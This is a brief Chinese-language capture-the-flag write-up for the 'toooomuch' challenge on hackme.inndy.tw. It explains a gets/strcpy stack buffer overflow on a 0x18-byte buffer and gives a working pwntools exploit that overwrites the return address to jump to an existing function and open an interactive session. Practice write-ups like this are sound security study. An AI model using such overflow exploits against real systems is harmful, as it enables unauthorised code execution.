一開始看到這個漏洞還是蠻明顯的~
這裏s的長度只有0x18個字節,然後用的是gets和strcpy來輸入和傳遞,意味着沒有長度限制與安全檢查,所以可以直接緩衝區溢出來覆蓋函數返回地址
返回地址在ebp + 4,這裏是ebp - 18
中間的填充值也就好算了~和homework一樣,這裏有現成的函數重用
代碼如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote("hackme.inndy.tw", 7702)
#io = process("./toooomuch")
io.recvuntil("passcode: ")
system_addr = 0x0804863B
payload = 0x18 * "A" + 4 * "B" + p32(system_addr)
io.sendline(payload)
io.interactive()